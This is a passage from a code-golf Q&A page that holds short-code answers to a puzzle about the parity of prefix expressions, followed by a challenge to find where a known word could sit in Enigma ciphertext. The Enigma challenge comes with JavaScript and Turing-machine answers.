'1'o(Æ replace all "o"s with "1"s £ƒ cast as function and call 'e'o2(%I push "e" if result is even, else "o" ``` [Answer] # Ruby, 61 bytes Using recursive descent parsing and boolean algebra. ``` def f gets(1)==?+?f^f : ~/\*/?f&f : $_==?o end puts f ? ?o:?e ``` The function reads one character from stdin at a time. If it reads a `+` or a `*`, it calls itself twice to determine odd or even. The function returns `true` for odd and `false` for `even`. The `^` *XOR* and `&` *AND* operators are used to determine "oddness" of addition and multiplication expressions respectively. Here's an ungolfed version: ``` def f x = gets(1) case x when '+' f ^ f when '*' f & f else x == 'o' end end puts f ? 'o' : 'e' ``` Thanks @Shel for pointing out a bug in the initial version. [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 13 bytes ``` ‛oe₀Ŀ∑ṘṄĖ₂∆ċt ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCLigJtvZeKCgMS/4oiR4bmY4bmExJbigoLiiIbEi3QiLCIiLCIqbytlbyJd) ``` Ŀ∑ # Replace each of ‛oe # o and e ₀ # With 1 and 0 Ṙ # Reverse Ṅ # Join by spaces Ė # Eval ₂ # Even? (1-n%2) ∆ċt # Last character of num -> cardinal (one -> e, zero -> o) ``` [Answer] ## [Minkolang 0.14](https://github.com/elendiastarman/Minkolang), 40 bytes I tried to do a clever eval method, but it turns out that any values added to the codebox outside of the original space will never be reached by the program counter. So I did a less clever eval method. :P ``` $o"eo+*"r0I4-[4g1Z2*1F]l*"e"+O. 0f1f+f*f ``` [Try it here.](http://play.starmaninnovations.com/minkolang/?code=%24o%22eo%2B*%22r0I4-%5B4g1Z2*1F%5Dl*%22e%22%2BO%2E%0A0f1f%2Bf*f&input=**o%2B%2B*ee*%2B%2Beoe*eo%2Beoo) ### Explanation ``` $o Read in whole input as characters "eo+*" Push these characters onto the stack (in reverse order) r Reverse the stack I4- Push the length of the stack - 4 [ For loop; pop n and repeat that many times 4g Get the item at the fourth index and put it on top 1Z Pops n and pushes first index of n in stack 2* Multiply by 2 1F Gosub; goes to codebox(2n,1) to be returned to ] Close for loop l* Multiply by 10 "e"+ Add 101 ("o" is 111) O. Output as character and stop. 0f1f+f*f Does the appropriate operation then returns to F ``` [Answer] # JavaScript, 110 106 94 bytes ``` while(i.length>2)i=i.replace(/([+*][eo]{2})/,(o,e)=>{return"+oe+eo*oo".indexOf(o)<0?"e":"o"}); ``` Certainly not the smallest solution, but likely the smallest solution possible in a verbose language like JavaScript! [Answer] # [O](https://github.com/phase/o), ~~24~~ ~~20~~ ~~19~~ 18 bytes ``` i`2:e;1:o;~2%'o'e? ``` Takes input, reverses it, assigns `e` to *2* and `o` to *1* and ~~posts it to Tumblr~~ evaluates it as O code. Explanation: ``` i` Get input and reverse it, because O uses postfix notation 2:e; Assign `e` to 2 1:o; Assign `o` to 1 ~2% Eval and check if result is even 'o'e? Output 'e' if even, 'o' if odd ``` [Answer] # GNU Sed, 36 ``` : s/*oo\|+eo\|+oe/o/ t s/\W\w\w/e/ t ``` After posting I saw this exactly the same approach as [@manatwork's Perl answer](https://codegolf.stackexchange.com/a/65529/11259) and [@randomra's Retina answer](https://codegolf.stackexchange.com/a/65535/11259). So I guess I may as well go all the way and borrow their `\W\w\w` as well. Thanks to @Ruud for shaving off 4 bytes. [Answer] # Haskell, 160 bytes Call `f`. ``` f=until((==1).l)r r s|l s<3=s|3#s?o=r('o':3%s)|3#s?sequence["+*","oe","oe"]=r('e':3%s)|0<1=1#s++r(1%s) l=length (#)=take (%)=drop (?)=elem o=["+eo","+oe","*oo"] ``` [Answer] # Jolf, 11 bytes (Noncompetitive, as the language postdates the question.) [Try it here!](http://conorobrien-foxx.github.io/Jolf/index.html#code=RlZ5QWkib2UiQAw) ``` FVyAi"oe"@\x12 ``` (Replace `\x12` with the actual character `\x12`. This should be done automatically in the interpreter.) Explanation: ``` FVyAi"oe"@\x12 i input \x12 character 12 @ char code at A "oe" replace all os with 1s and all es with 2s y eval as jolf, returning the answer V return parity "even" or "odd" F get first character implicit output ``` [Answer] ## JavaScript, ~~92~~ 71 bytes ``` f=i=>i>"0"?i:f(i.replace(/.[eo]{2}/,e=>"eo"[eval((e[1]>"e")+"^&"[+(e[0]<"+")]+(e[2]>"e"))])) ``` It's a bit obfuscated, but I wanted to do something using `eval` and bitwise operators. Annotated: ``` f = (i) => // function(i) { return i>"0" // i[0] == "o" || i[0] == "e" :-) - the characters `*` and `+` are both <"0" ? i // finish : f(i.replace( // recursively repeat with /.[eo]{2}/, // first occurrence of "something" followed by two values (e) => // replaced by "eo"[ // string indexing eval( (e[1]>"e") // e[1] == "o" ? "true" : "false" + "^&"[+(e[0]<"+")] // e[0] == "+" ? "^" : "&" + (e[2]>"e") // e[2] == "o" ? "true" : "false" ) ] // like eval(…) ? "o" : "e" )) ``` The repetition of `(e[…]>"e")` annoys me a bit, but the following is not better either (103 bytes): ``` f=i=>i>"0"?i:f(i.replace(/e|o/g,x=>+(x>"e")).replace(/.\d\d/,e=>"eo"[eval(e[1]+"^&"[+(e[0]<"+")]+e[2])])) ``` So in the end, @Arkain's approach with simple substring matching is superiour. Made into a function, with some optimisations: ``` f=i=>i>"0"?i:f(i.replace(/.[eo]{2}/,v=>"eo"[+"+oe+eo*oo".includes(v)])) ``` [Answer] ## Haskell, 98 94 bytes Sorry to bother you with yet another Haskell attempt; just wanted to prove it is very well possible in less than 100 bytes. ``` p(c:s)|any(<'a')s=p(c:p s) p('+':x:y:s)|x/=y='o':s p('*':'o':s)=s p(c:_:_:s)|c<'a'='e':s p s=s ``` Defines a function `p` that accepts any valid expression as parameter, and returns the result as a string of length 1. Example: ``` *Main> p "**o++*ee*++eoe*eo+eoo" "o" ``` The function works by repeatedly reducing the rightmost operator in the string until no operators are left. [Answer] # Dart, 173 bytes ``` f(i){var l=i.split(''),e='e',o='o';g(p){if(l[p]!=e&&l[p]!=o){var x=p+1,y=p+2;g(x);g(y);l[p]=l[p]=='+'?l[x]!=l[y]?o:e:l[x]==o?l[y]:e;l.removeRange(x,p+3);}}g(0);print(l[0]);} ``` This isn't competitive, but whatever. The gist of the solution is, starting at 0, recursively replace every operator with the evaluation the pair of characters following that operator and then remove those characters from the list. [Answer] # Haskell, 231 bytes Here is an approach using a serious language ;) Golfed version: ``` p(s:_)[]=s p s(x:y)=p(r$x:s)y r[]=[] r('e':'e':'+':x)=r$'e':x r('e':'o':'+':x)=r$'o':x r('o':'e':'+':x)=r$'o':x r('o':'o':'+':x)=r$'e':x r('e':'e':'*':x)=r$'e':x r('e':'o':'*':x)=r$'e':x r('o':'e':'*':x)=r$'e':x r('o':'o':'*':x)=r$'o':x r x=x ``` Example: ``` *Main> p [] "+**+***+**++**+eooeoeeoeeoeooeo" 'o' ``` Ungolfed and pretty comprehensive version: ``` type Stack = String parse :: String -> Char parse = parse' [] parse' :: Stack -> String -> Char parse' (s:_) [] = s parse' s (x:xs) = parse' (reduce $ x:s) xs reduce :: Stack -> Stack reduce [] = [] reduce ('e':'e':'+':xs) = reduce $ 'e':xs reduce ('e':'o':'+':xs) = reduce $ 'o':xs reduce ('o':'e':'+':xs) = reduce $ 'o':xs reduce ('o':'o':'+':xs) = reduce $ 'e':xs reduce ('e':'e':'*':xs) = reduce $ 'e':xs reduce ('e':'o':'*':xs) = reduce $ 'e':xs reduce ('o':'e':'*':xs) = reduce $ 'e':xs reduce ('o':'o':'*':xs) = reduce $ 'o':xs reduce xs = xs ``` Example: ``` *Main> parse "+**+***+**++**+eooeoeeoeeoeooeo" 'o' ``` Features: Pattern matching and recursion. [Answer] # Python 3, ~~171~~ ~~145~~ 135 bytes Not competitive, but I had fun doing it, so I just couldn't keep it to myself. Unlike the (very clever) [recursive-iterator Python entry by feersum](https://codegolf.stackexchange.com/a/65532/13959), this one reverses the input and then does a good old stack-based parsing of reverse Polish notation. ``` def p(i): s=[] for c in i[::-1]: s+=[c>'e'if c>'a'else getattr(s.pop(),'__'+('axnodr'[c>'*'::2])+'__')(s.pop())] return'eo'[s[0]] ``` [Answer] # [Add++](https://github.com/cairdcoinheringaahing/AddPlusPlus), 46 bytes ``` D,g,@,d"oe"$eA"e"=+o D,f,@,bR€gbU32CjbV2%"eo": ``` [Try it online!](https://tio.run/##ZZNLjtNAEIbX9CmilpGg2iMlw87SeIJmYIuEBBs0giSuREHBZWFHsOYwrDgFR@Eiobrb3X@PRvGjUvX7c7286bphuFzu60O9rjsrbCt@bdneODH39V6d2/f/fv05bD@8ur77uv14/dyy2EYf2Mm5n3r@cTr2PKputbxT4c3f304fHIfTcarX67paqL@aFnZx1S6sCqZFpddGNQeejhN/86rV56oxJsGapZl4nKJ9G@yx@fRgvvN4PkVz5KGxV6013HeNffHm58C7idU0@2Pf2JfWmC8JZ6pHqbaZrZrANlVIF4F2qaH5bU@DK2Pe5rrNs8DQezXXE5Rje/QhnvMqwzM3Cja76bw5qdXNlE4r8@p9mxyQaK16kwL6TqutLxf2zWUj/ibG8fzfcfIIJ0NiiJKGOHkkeSRzChJYDBpnnmOCNjPVFHgzV2ZuNJNWXNaKg5agJdRDqIhQk0NVmUucucRF/UUH0APkSwyugCu5DyS5DyTgCrhS9LboLvqg2FSxmvDm2tRM3dGXZa8wvLlnaiYCgUvgEgu80Aq0Aq3kHEhybciXUr7BFHgTl5xAm7mEfMmBi3yJwEW@RAwtuCTQgktS7m@5wxJ/KReOv2Iu5WzYr2a5keyK2bMfbjlTLqbtP4DyexC/H4T3xjg2SqjYdyLnKIxNj2I20R06oaFwQYjC6fwZQ/EQDDQm/GgFYkWh4@id86@msIMqzvP8Dw "Add++ – Try It Online") The footer simply enumerates all the example inputs and their corresponding outputs. ## How it works Like a lost of the answers here, this uses replacement and evaluation. Our main function is `f`, and `g` is a helper function. We'll use `"*e*o*e*oe"` (which is `e`) as an example. `f` begins by taking the input string and reversing it, yielding `"eo*e*o*e*"`. We then map `g` over each element: `g` starts by duplicating the argument, to keep a copy until the final command. We then check if the argument is in the string `"oe"`, yielding **1** for letters and **0** for `*` or `+`. We then push the argument again and check whether it is equal to `"e"`. This result is then added to the previous check. This yields **0** for either `*` or `+`, **1** for `o` and **2** for `e`. We then take the logical OR between this value and the argument. If the value is **0**, it is replaced by the argument (i.e. `*` or `+`), otherwise it is left as-is (i.e. **1** and **2**). This converts all letters in the reverse of the input into a numerical value. We then join each element by spaces, to ensure digits aren't concatenated. For our example, this yields the string `"2 1 * 2 * 1 * 2 *"`. We can then evaluate this, using Add++'s postfix notation, yielding **8**. We then take the parity of this value, yielding either **0** for even numbers and **1** for odd numbers, before indexing into the string `"eo"` and returning the corresponding letter. [Answer] # [Lexurgy](https://www.lexurgy.com/sc), 65 bytes ``` a propagate: \+ {ee,oo}=>e \+ {eo,oe}=>o \* {eo,ee,oe}=>e \*oo=>o ``` Explanation: ``` a propagate: # while last output was not the same... \+ {ee,oo}=>e # handle even addition \+ {eo,oe}=>o # handle odd addition \* {eo,ee,oe}=>e # handle even multiplication \*oo=>o # handle odd multiplication ``` As a bonus, if you copy-paste the test cases verbatim into Lexurgy, it will not touch the expected output side of the arrow. [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), 14 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` „eoDIRs„¾X‡.Vè ``` [Try it online](https://tio.run/##yy9OTMpM/f//UcO81HwXz6BiIOPQvohHDQv1wg6v@P9fW0sLiEBYG4RT8/NT81MhCMQEAA) or [verify all test cases](https://tio.run/##RZK9TQRBDIVbOW345kQLl1ABAUJCBCBNQPSCk5Auu4gCKACJjCoIoJNrZJm1P89p/2b89unz2Pbx@eW1r2@nw7K7vH/slsN6OX92357ujmPx@/NwOX/d3P99r/v1cenLfvF4Wu/xjrVj7W2tiCviiric/5cDT8fVG7rQhS50/MbvYhYVv/Ebv/Fb5NXILP2Cr155V@bkDl/wBV/wBV/wBV@us9fpyX/YO1/2Zo9udKMb3akLv/ALv/ALv/ALv9Iv@IIv@IIv@IIv@IIv@IIv@IIv@IIv@IK/9X3OgPOqus/aO6@ajzkjzl31ZfbGuav5mTPkrSvXvs/eO5Wsj1pTVHPcVbuMxZlGPF7EFU/bnoznbc9pHblce5IJR7GoQttYiraP36LqT/8). **Explanation:** ``` „eo # Push string "eo" D # Duplicate it IR # Push the input, and reverse it # (since 05AB1E evaluates in Reverse Polish Notation) s # Swap so one of the "eo" is at the top „¾X # Push string "¾X" # (`¾` is 0 by default and `X` is 1 by default. We use these instead of # literals, because it could otherwise push 10, 100, "001", etc. instead # of loose digits) ‡ # Transliterate "e"→"¾" and "o"→"X" .V # Pop, evaluate, and execute the string as 05AB1E code è # Index the resulting 0/1 into the "eo" string # (after which the result is output implicitly) ``` [Answer] # [Thue](https://esolangs.org/wiki/Thue), 95 bytes ``` *ee::=e *eo::=e *oe::=e *oo::=o +ee::=e +eo::=o +oe::=o +oo::=e >e::=~e >o::=~o i::=::: ::= >i ``` [Try it online!](https://tio.run/##LY2xDcAwCAT7HwU2QIq3QYqrb5LWqztPTHU6PeKe@829LTPiSljykO0sJ7x3z/Z/L577UbrE0kVMISIgYEwoYHRXxVwvUhmB@AA "Thue – Try It Online") [Answer] # [Python 3](https://docs.python.org/3/), 99 bytes ``` import re a=b=input() for i in a:a,b=re.subn(b and"\+(eo|oe)|\*oo"or"\W\w\w","oe"[b==0],a) print(a) ``` [Try it online!](https://tio.run/##VVPLbtwwEDvHX2HoZFObIEVuAZzf6KHuwU6miIHEXLi72BbIv29kKRIV@IEBRVAUZ3T8f3rl@nC9vC5v1v54bG7snz13m3PuurwfuZ3azZppmIdlPZ5PXd/84dYu7bK20@N0mIfN7v6e57Wb22l9caPvjB@0/mME6bi58ed4GS/u4Gju1zwM978PU98ct2U9dVN/Dfv0V0@2t0@tNTDLRUaYkcRh03jzmbaXX3AoEzWVzASIW0RDSaES5pcwY5nJ9IVMn8meEBcmlEKziXAar4MVYVgRhlURVCEoBjmGVcKUMEsUYIkClDAlzCrfKuEqiqCbDx3KfLywhanMAYXdCkoTWmILZRGGhCFhGIWWjEFxKS6LCVBRyDGy41hSaBaGp7hFGHIMXwnLMSBhOQZKFJBjgOJKGPw2x/UsMz3ZjaWnak7VoH3EvdWDab4aANs7XDfWqpbvF6G@F9yHBNo3rWusCLkKkcN7xNaFt@pPgmMWYSn@tIT4@f1LS@llyT7ew@Dy2xykM8XQFZ/f90acxEAuPf0E "Python 3 – Try It Online") Nice solution using regex. (python has already better solutions, go upote those) [Answer] # [MathGolf](https://github.com/maxbergmark/mathgolf/blob/master/math_golf.txt), 23 [bytes](https://github.com/maxbergmark/mathgolf/blob/master/code_page.py) ``` x$╟⌠%_Z)m=9*m+$y~♂*♀)+$ ``` Input as a list of characters to save a byte. [Try it online.](https://tio.run/##y00syUjPz0n7/79C5dHU@Y96FqjGR2nm2lpq5WqrVNY9mtmk9Whmg6a2yv//0UraSjpKWlCsDcVaSHQqFOejsRH8WC7CpmghmYasOx@nGDZTtXDwtbHwcdmEi42qFmZ7KtTEfCT3o/sF1a2pSPZrQ1VoY9GJqlsLyR5tLKGP7EtkVyO7A9XXsQA) **Explanation:** ``` x # Reverse the (implicit) input-list $ # Convert each character to its codepoint-integer ╟⌠ # Push 62 (60+2) % # Modulo _ # Duplicate the list Z) # Push 39 (38+1) m= # Check for each value if it's equal to 39 (1 if 39; 0 otherwise) 9* # Multiply each by 9 m+ # Add the values in the lists together $ # Convert it from codepoint-integers back to characters y # Join it together to a string ~ # Evaluate and execute it as MathGolf code ♂* # Multiply each by 10 ♀) # Push 101 (100+1) + # Add it to the integer $ # Convert it as code-point integer to character ('e' or 'o') # (after which the entire stack is output implicitly) ``` Unfortunately MathGolf lacks a replace/transliterate builtin, otherwise this could be as easy as `xûoe2à`<transliterate>`~♂*♀)+$` (14 [bytes](https://github.com/maxbergmark/mathgolf/blob/master/code_page.py)). ]
[Question] [ ### Introduction The Enigma was one of the first electro-mechanical rotor cipher machines used in World War II. That means that after a single letter is coded, it would change the key for the next letter. This was considered *unbreakable* by the Germans, due to the enormous key space. Even brute-forcing was almost impossible. However, there was a design error in the Enigma. Encrypting a letter would never result into itself. That means that the letter `A` can encrypt to every letter except the letter `A`. Let's take an example of a coded message: ``` BHGEFXWFTIUPITHHLPETTTCLOEWOELMRXXPAKAXMAMTXXUDLTWTNHKELEPPLHPRQ ``` A typical German word was `WETTERBERICHT`, or weather report in English. With the principe above, we can determine at which locations the word could possibly be: ``` BHGEFXWFTIUPITHHLPETTTCLOEWOELMRXXPAKAXMAMTXXUDLTWTNHKELEPPLHPRQ WETTERBERICHT ^ ``` This is not possible, because the `I` can't be encrypted to itself, so we move on 1 place: ``` BHGEFXWFTIUPITHHLPETTTCLOEWOELMRXXPAKAXMAMTXXUDLTWTNHKELEPPLHPRQ WETTERBERICHT ^ ``` This is also not possible, so we move another place again: ``` BHGEFXWFTIUPITHHLPETTTCLOEWOELMRXXPAKAXMAMTXXUDLTWTNHKELEPPLHPRQ WETTERBERICHT ^ ``` This again is not possible. In fact, the first possible occurence of `WETTERBERICHT` is: ``` BHGEFXWFTIUPITHHLPETTTCLOEWOELMRXXPAKAXMAMTXXUDLTWTNHKELEPPLHPRQ WETTERBERICHT 0123456789012345678901234567890123456789012345678901234567890123 ^ 13 ``` So, we return the 0-indexed position of the first possible occurence, which is **13**. ### The Task * Given a coded message and a word, find the index of the **first possible occurence**. * Assume that only basic uppercase alphabetic characters will be used (`ABCDEFGHIJKLMNOPQRSTUVWXYZ`). * If no occurence is found, you can output any **negative** integer, character, or nothing (e.g. `-1`, `X`). * Input may be accepted as argument, on seperate newlines, lists or anything else. * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the submission with the least amount of bytes wins! ### Test cases ``` Input: BHGEFXWFTIUPITHHLPETTTCLOEWOELM, WETTERBERICHT Output: 13 Input: ABCDEFGHIJKL, HELLO Output: 0 Input: EEEEEEEEEEEE, HELLO Output: -1 Input: XEEFSLBSELDJMADNADKDPSSPRNEBWIENPF, DEUTSCHLAND Output: 11 Input: HKKH, JJJJJ Output: -1 ``` [Answer] # JavaScript, 40 ``` (c,p)=>c.search(p.replace(/./g,"[^$&]")) ``` Using `replace`, this maps the plaintext input into a regular expression of form `/[^H][^E][^L][^L][^O]/` (e.g., for plaintext input `HELLO`) and then uses `search` to test for the first index of the ciphertext substring that matches that regex. This regex means "a pattern where the first character is not `H`, the second character is not `E`, etc." [`$&` is a special sequence for `replace` output](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Specifying_a_string_as_a_parameter) that substitutes in the value matched by the first `replace` argument (in this case, each single character matched by `/./`). [Answer] ## [Turing Machine Simulator](http://morphett.info/turing/turing.html) - 15660 bytes (Non-Competing) Can't have an Enigma challenge without turing machine code. ``` 0 * * l 0 0 _ _ l , , _ , l 1 1 _ 0 r 2 2 * * r 2 2 , * r 3 3 * * r 3 3 , * r 4 4 * * r 4 4 _ * r 13 4 A a l a' 4 B b l b' 4 C c l c' 4 D d l d' 4 E e l e' 4 F f l f' 4 G g l g' 4 H h l h' 4 I i l i' 4 J j l j' 4 K k l k' 4 L l l l' 4 M m l m' 4 N n l n' 4 O o l o' 4 P p l p' 4 Q q l q' 4 R r l r' 4 S s l s' 4 T t l t' 4 U u l u' 4 V v l v' 4 W w l w' 4 X x l x' 4 Y y l y' 4 Z z l z' a' * * l a' a' , * l a b' * * l b' b' , * l b c' * * l c' c' , * l c d' * * l d' d' , * l d e' * * l e' e' , * l e f' * * l f' f' , * l f g' * * l g' g' , * l g h' * * l h' h' , * l h i' * * l i' i' , * l i j' * * l j' j' , * l j k' * * l k' k' , * l k l' * * l l' l' , * l l m' * * l m' m' , * l m n' * * l n' n' , * l n o' * * l o' o' , * l o p' * * l p' p' , * l p q' * * l q' q' , * l q r' * * l r' r' , * l r s' * * l s' s' , * l s t' * * l t' t' , * l t u' * * l u' u' , * l u v' * * l v' v' , * l v w' * * l w' w' , * l w x' * * l x' x' , * l x y' * * l y' y' , * l y z' * * l z' z' , * l z a * * l a a _ * r A a a * r A a b * r A a c * r A a d * r A a e * r A a f * r A a g * r A a h * r A a i * r A a j * r A a k * r A a l * r A a m * r A a n * r A a o * r A a p * r A a q * r A a r * r A a s * r A a t * r A a u * r A a v * r A a w * r A a x * r A a y * r A a z * r A b * * l b b _ * r B b a * r B b b * r B b c * r B b d * r B b e * r B b f * r B b g * r B b h * r B b i * r B b j * r B b k * r B b l * r B b m * r B b n * r B b o * r B b p * r B b q * r B b r * r B b s * r B b t * r B b u * r B b v * r B b w * r B b x * r B b y * r B b z * r B c * * l c c _ * r C c a * r C c b * r C c c * r C c d * r C c e * r C c f * r C c g * r C c h * r C c i * r C c j * r C c k * r C c l * r C c m * r C c n * r C c o * r C c p * r C c q * r C c r * r C c s * r C c t * r C c u * r C c v * r C c w * r C c x * r C c y * r C c z * r C d * * l d d _ * r D d a * r D d b * r D d c * r D d d * r D d e * r D d f * r D d g * r D d h * r D d i * r D d j * r D d k * r D d l * r D d m * r D d n * r D d o * r D d p * r D d q * r D d r * r D d s * r D d t * r D d u * r D d v * r D d w * r D d x * r D d y * r D d z * r D e * * l e e _ * r E e a * r E e b * r E e c * r E e d * r E e e * r E e f * r E e g * r E e h * r E e i * r E e j * r E e k * r E e l * r E e m * r E e n * r E e o * r E e p * r E e q * r E e r * r E e s * r E e t * r E e u * r E e v * r E e w * r E e x * r E e y * r E e z * r E f * * l f f _ * r F f a * r F f b * r F f c * r F f d * r F f e * r F f f * r F f g * r F f h * r F f i * r F f j * r F f k * r F f l * r F f m * r F f n * r F f o * r F f p * r F f q * r F f r * r F f s * r F f t * r F f u * r F f v * r F f w * r F f x * r F f y * r F f z * r F g * * l g g _ * r G g a * r G g b * r G g c * r G g d * r G g e * r G g f * r G g g * r G g h * r G g i * r G g j * r G g k * r G g l * r G g m * r G g n * r G g o * r G g p * r G g q * r G g r * r G g s * r G g t * r G g u * r G g v * r G g w * r G g x * r G g y * r G g z * r G h * * l h h _ * r H h a * r H h b * r H h c * r H h d * r H h e * r H h f * r H h g * r H h h * r H h i * r H h j * r H h k * r H h l * r H h m * r H h n * r H h o * r H h p * r H h q * r H h r * r H h s * r H h t * r H h u * r H h v * r H h w * r H h x * r H h y * r H h z * r H i * * l i i _ * r I i a * r I i b * r I i c * r I i d * r I i e * r I i f * r I i g * r I i h * r I i i * r I i j * r I i k * r I i l * r I i m * r I i n * r I i o * r I i p * r I i q * r I i r * r I i s * r I i t * r I i u * r I i v * r I i w * r I i x * r I i y * r I i z * r I j * * l j j _ * r J j a * r J j b * r J j c * r J j d * r J j e * r J j f * r J j g * r J j h * r J j i * r J j j * r J j k * r J j l * r J j m * r J j n * r J j o * r J j p * r J j q * r J j r * r J j s * r J j t * r J j u * r J j v * r J j w * r J j x * r J j y * r J j z * r J k * * l k k _ * r K k a * r K k b * r K k c * r K k d * r K k e * r K k f * r K k g * r K k h * r K k i * r K k j * r K k k * r K k l * r K k m * r K k n * r K k o * r K k p * r K k q * r K k r * r K k s * r K k t * r K k u * r K k v * r K k w * r K k x * r K k y * r K k z * r K l * * l l l _ * r L l a * r L l b * r L l c * r L l d * r L l e * r L l f * r L l g * r L l h * r L l i * r L l j * r L l k * r L l l * r L l m * r L l n * r L l o * r L l p * r L l q * r L l r * r L l s * r L l t * r L l u * r L l v * r L l w * r L l x * r L l y * r L l z * r L m * * l m m _ * r M m a * r M m b * r M m c * r M m d * r M m e * r M m f * r M m g * r M m h * r M m i * r M m j * r M m k * r M m l * r M m m * r M m n * r M m o * r M m p * r M m q * r M m r * r M m s * r M m t * r M m u * r M m v * r M m w * r M m x * r M m y * r M m z * r M n * * l n n _ * r N n a * r N n b * r N n c * r N n d * r N n e * r N n f * r N n g * r N n h * r N n i * r N n j * r N n k * r N n l * r N n m * r N n n * r N n o * r N n p * r N n q * r N n r * r N n s * r N n t * r N n u * r N n v * r N n w * r N n x * r N n y * r N n z * r N o * * l o o _ * r O o a * r O o b * r O o c * r O o d * r O o e * r O o f * r O o g * r O o h * r O o i * r O o j * r O o k * r O o l * r O o m * r O o n * r O o o * r O o p * r O o q * r O o r * r O o s * r O o t * r O o u * r O o v * r O o w * r O o x * r O o y * r O o z * r O p * * l p p _ * r P p a * r P p b * r P p c * r P p d * r P p e * r P p f * r P p g * r P p h * r P p i * r P p j * r P p k * r P p l * r P p m * r P p n * r P p o * r P p p * r P p q * r P p r * r P p s * r P p t * r P p u * r P p v * r P p w * r P p x * r P p y * r P p z * r P q * * l q q _ * r Q q a * r Q q b * r Q q c * r Q q d * r Q q e * r Q q f * r Q q g * r Q q h * r Q q i * r Q q j * r Q q k * r Q q l * r Q q m * r Q q n * r Q q o * r Q q p * r Q q q * r Q q r * r Q q s * r Q q t * r Q q u * r Q q v * r Q q w * r Q q x * r Q q y * r Q q z * r Q r * * l r r _ * r R r a * r R r b * r R r c * r R r d * r R r e * r R r f * r R r g * r R r h * r R r i * r R r j * r R r k * r R r l * r R r m * r R r n * r R r o * r R r p * r R r q * r R r r * r R r s * r R r t * r R r u * r R r v * r R r w * r R r x * r R r y * r R r z * r R s * * l s s _ * r S s a * r S s b * r S s c * r S s d * r S s e * r S s f * r S s g * r S s h * r S s i * r S s j * r S s k * r S s l * r S s m * r S s n * r S s o * r S s p * r S s q * r S s r * r S s s * r S s t * r S s u * r S s v * r S s w * r S s x * r S s y * r S s z * r S t * * l t t _ * r T t a * r T t b * r T t c * r T t d * r T t e * r T t f * r T t g * r T t h * r T t i * r T t j * r T t k * r T t l * r T t m * r T t n * r T t o * r T t p * r T t q * r T t r * r T t s * r T t t * r T t u * r T t v * r T t w * r T t x * r T t y * r T t z * r T u * * l u u _ * r U u a * r U u b * r U u c * r U u d * r U u e * r U u f * r U u g * r U u h * r U u i * r U u j * r U u k * r U u l * r U u m * r U u n * r U u o * r U u p * r U u q * r U u r * r U u s * r U u t * r U u u * r U u v * r U u w * r U u x * r U u y * r U u z * r U v * * l v v _ * r V v a * r V v b * r V v c * r V v d * r V v e * r V v f * r V v g * r V v h * r V v i * r V v j * r V v k * r V v l * r V v m * r V v n * r V v o * r V v p * r V v q * r V v r * r V v s * r V v t * r V v u * r V v v * r V v w * r V v x * r V v y * r V v z * r V w * * l w w _ * r W w a * r W w b * r W w c * r W w d * r W w e * r W w f * r W w g * r W w h * r W w i * r W w j * r W w k * r W w l * r W w m * r W w n * r W w o * r W w p * r W w q * r W w r * r W w s * r W w t * r W w u * r W w v * r W w w * r W w x * r W w y * r W w z * r W x * * l x x _ * r X x a * r X x b * r X x c * r X x d * r X x e * r X x f * r X x g * r X x h * r X x i * r X x j * r X x k * r X x l * r X x m * r X x n * r X x o * r X x p * r X x q * r X x r * r X x s * r X x t * r X x u * r X x v * r X x w * r X x x * r X x y * r X x z * r X y * * l y y _ * r Y y a * r Y y b * r Y y c * r Y y d * r Y y e * r Y y f * r Y y g * r Y y h * r Y y i * r Y y j * r Y y k * r Y y l * r Y y m * r Y y n * r Y y o * r Y y p * r Y y q * r Y y r * r Y y s * r Y y t * r Y y u * r Y y v * r Y y w * r Y y x * r Y y y * r Y y z * r Y z * * l z z , * r Z z a * r Z z b * r Z z c * r Z z d * r Z z e * r Z z f * r Z z g * r Z z h * r Z z i * r Z z j * r Z z k * r Z z l * r Z z m * r Z z n * r Z z o * r Z z p * r Z z q * r Z z r * r Z z s * r Z z t * r Z z u * r Z z v * r Z z w * r Z z x * r Z z y * r Z z z * r Z A * * * 5 A A * l 6 B * * * 5 B B * l 6 C * * * 5 C C * l 6 D * * * 5 D D * l 6 E * * * 5 E E * l 6 F * * * 5 F F * l 6 G * * * 5 G G * l 6 H * * * 5 H H * l 6 I * * * 5 I I * l 6 J * * * 5 J J * l 6 K * * * 5 K K * l 6 L * * * 5 L L * l 6 M * * * 5 M M * l 6 N * * * 5 N N * l 6 O * * * 5 O O * l 6 P * * * 5 P P * l 6 Q * * * 5 Q Q * l 6 R * * * 5 R R * l 6 S * * * 5 S S * l 6 T * * * 5 T T * l 6 U * * * 5 U U * l 6 V * * * 5 V V * l 6 W * * * 5 W W * l 6 X * * * 5 X X * l 6 Y * * * 5 Y Y * l 6 Z * * * 5 Z Z * l 6 5 , * r 15 5 A a r 7 5 B b r 7 5 C c r 7 5 D d r 7 5 E e r 7 5 F f r 7 5 G g r 7 5 H h r 7 5 I i r 7 5 J j r 7 5 K k r 7 5 L l r 7 5 M m r 7 5 N n r 7 5 O o r 7 5 P p r 7 5 Q q r 7 5 R r r 7 5 S s r 7 5 T t r 7 5 U u r 7 5 V v r 7 5 W w r 7 5 X x r 7 5 Y y r 7 5 Z z r 7 7 * * r 7 7 , * r 4 6 * * l 6 6 _ * r 8 8 * _ r 9 9 * * r 9 9 _ * l 10 9 a A r 9 9 b B r 9 9 c C r 9 9 d D r 9 9 e E r 9 9 f F r 9 9 g G r 9 9 h H r 9 9 i I r 9 9 j J r 9 9 k K r 9 9 l L r 9 9 m M r 9 9 n N r 9 9 o O r 9 9 p P r 9 9 q Q r 9 9 r R r 9 9 s S r 9 9 t T r 9 9 u U r 9 9 v V r 9 9 w W r 9 9 x X r 9 9 y Y r 9 9 z Z r 9 10 * * l 10 10 , * l 11 11 * * l 11 11 , * l 12 12 _ 1 r 2 12 0 1 r 2 12 1 2 r 2 12 2 3 r 2 12 3 4 r 2 12 4 5 r 2 12 5 6 r 2 12 6 7 r 2 12 7 8 r 2 12 8 9 r 2 12 9 0 l 12 13 * _ l 13 13 , _ l 14 14 * _ l 14 14 , _ l halt 15 * * r 15 15 _ * l 16 16 * _ l 16 16 , _ l 17 17 * _ l 17 17 , _ l 18 18 * _ l 18 18 _ x * halt ``` [Test it out 